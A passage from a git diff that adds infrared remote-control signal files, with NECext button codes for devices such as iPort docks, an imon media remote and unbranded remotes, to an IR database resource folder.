+name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 1E 00 00 00 +# +name: Prog_(CD_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 40 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 42 00 00 00 +# +name: Menu_(DVD_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 44 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 45 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 47 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 48 00 00 00 +# +name: Aux1 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 49 00 00 00 +# +name: Aux2 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 4A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 4B 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 50 00 00 00 +# +name: Repeat_(CD_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 52 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 53 00 00 00 +# +name: Audio_(DVD_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 55 00 00 00 +# +name: Display_RDS_(Tuner_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 56 00 00 00 +# +name: Setup_(DVD_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 57 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 59 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 5E 00 00 00 +# +name: Title_(DVD_Function) +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir b/assets/resources/infrared/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir new file mode 100644 index 000000000..f88bf6dcf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 0E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 11 00 00 00 +# +name: int_ext_1 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 12 00 00 00 +# +name: store +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 13 00 00 00 +# +name: bright +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 14 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 15 00 00 00 +# +name: fine_2 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 16 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 17 00 00 00 +# +name: int_ext_2 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 19 00 00 00 +# +name: lock +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 1B 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 1C 00 00 00 +# +name: v_h +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 1D 00 00 00 +# +name: fine_1 +type: parsed +protocol: NECext +address: 5F 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/huth/Unknown_prof/15,1.ir b/assets/resources/infrared/_CSV-IRDB_/huth/Unknown_prof/15,1.ir new file mode 100644 index 000000000..a947cffc7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/huth/Unknown_prof/15,1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: TIMER +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 00 00 00 00 +# +name: EXT +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 01 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 04 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 05 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 07 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 0C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 0E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 0F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 10 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 11 00 00 00 +# +name: HEADP +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 12 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 13 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 14 00 00 00 +# +name: X_KEY_0_DN +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 15 00 00 00 +# +name: X_KEY_1_DN +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 16 00 00 00 +# +name: LNB +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 17 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 18 00 00 00 +# +name: X_KEY_0_UP +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 19 00 00 00 +# +name: X_KEY_1_UP +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 1A 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 1C 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 1D 00 00 00 +# +name: AFC +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 1E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0F 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/iPort/MP3 Player/1,222.ir b/assets/resources/infrared/_CSV-IRDB_/iPort/MP3 Player/1,222.ir new file mode 100644 index 000000000..64be76d97 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/iPort/MP3 Player/1,222.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 07 00 00 00 +# +name: PREVIOUS_TRACK +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0B 00 00 00 +# +name: NEXT_ALBUM +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0C 00 00 00 +# +name: PREVIOUS_ALBUM +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 10 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 11 00 00 00 +# +name: NEXT_CHAPTER +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 12 00 00 00 +# +name: PREVIOUS_CHAPTER +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 13 00 00 00 +# +name: NEXT_PLAYLIST +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 14 00 00 00 +# +name: PREVIOUS_PLAYLIST +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 15 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 16 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 17 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 18 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 19 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1A 00 00 00 +# +name: BACK_LIGHT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1B 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1F 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 20 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 21 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 22 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 23 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 24 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 25 00 00 00 +# +name: LED_ADJUST +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 30 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/iPort/iPod/1,222.ir b/assets/resources/infrared/_CSV-IRDB_/iPort/iPod/1,222.ir new file mode 100644 index 000000000..9767a2f27 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/iPort/iPod/1,222.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 07 00 00 00 +# +name: PREVIOUS_TRACK +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0B 00 00 00 +# +name: NEXT_ALBUM +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0C 00 00 00 +# +name: PREVIOUS_ALBUM +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 10 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 11 00 00 00 +# +name: NEXT_CHAPTER +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 12 00 00 00 +# +name: PREVIOUS_CHAPTER +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 13 00 00 00 +# +name: NEXT_PLAYLIST +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 14 00 00 00 +# +name: PREVIOUS_PLAYLIST +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 15 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 16 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 17 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 18 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 19 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1A 00 00 00 +# +name: BACKLIGHT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1B 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1F 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 20 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 21 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 22 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 23 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 24 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 25 00 00 00 +# +name: LED_ADJUSTMENT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 30 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/iPort/iPort/1,222.ir b/assets/resources/infrared/_CSV-IRDB_/iPort/iPort/1,222.ir new file mode 100644 index 000000000..884db3de1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/iPort/iPort/1,222.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: NEXT_SONG +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 07 00 00 00 +# +name: PREV_SONG +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0B 00 00 00 +# +name: NEXT_ALBUM +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0C 00 00 00 +# +name: PREV_ALBUM +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 0E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 10 00 00 00 +# +name: NEXT_PLAY_LIST +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 14 00 00 00 +# +name: PREV_PLAY_LIST +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 15 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 16 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 17 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 18 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1F 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1F 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1F 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 1F 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 20 00 00 00 +# +name: NEXT_BOOK_CHAPTER +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 20 00 00 00 +# +name: PREVIOUS_BOOK_CHAPTE +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 21 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 21 00 00 00 +# +name: BACKLIGHT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 22 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 22 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 23 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 24 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 25 00 00 00 +# +name: LED +type: parsed +protocol: NECext +address: 01 DE 00 00 +command: 30 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir new file mode 100644 index 000000000..662b75256 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0B 00 00 00 +# +name: Windows +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0D 00 00 00 +# +name: App.Launcher +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0E 00 00 00 +# +name: Function +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0F 00 00 00 +# +name: Task.Switcher +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 10 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 11 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 12 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 14 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 16 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 17 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 18 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 40 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 41 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 42 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 43 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 44 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 45 00 00 00 +# +name: Bookmark +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 46 00 00 00 +# +name: Thumbnail +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 47 00 00 00 +# +name: Aspect +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 48 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 49 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 4A 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 4B 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 4C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir new file mode 100644 index 000000000..c639e6e1b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: PREVIOUS_CHAPTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: BLUE_BUTTON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: MORE/INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: ESC/BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir new file mode 100644 index 000000000..314d2a81d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 01 00 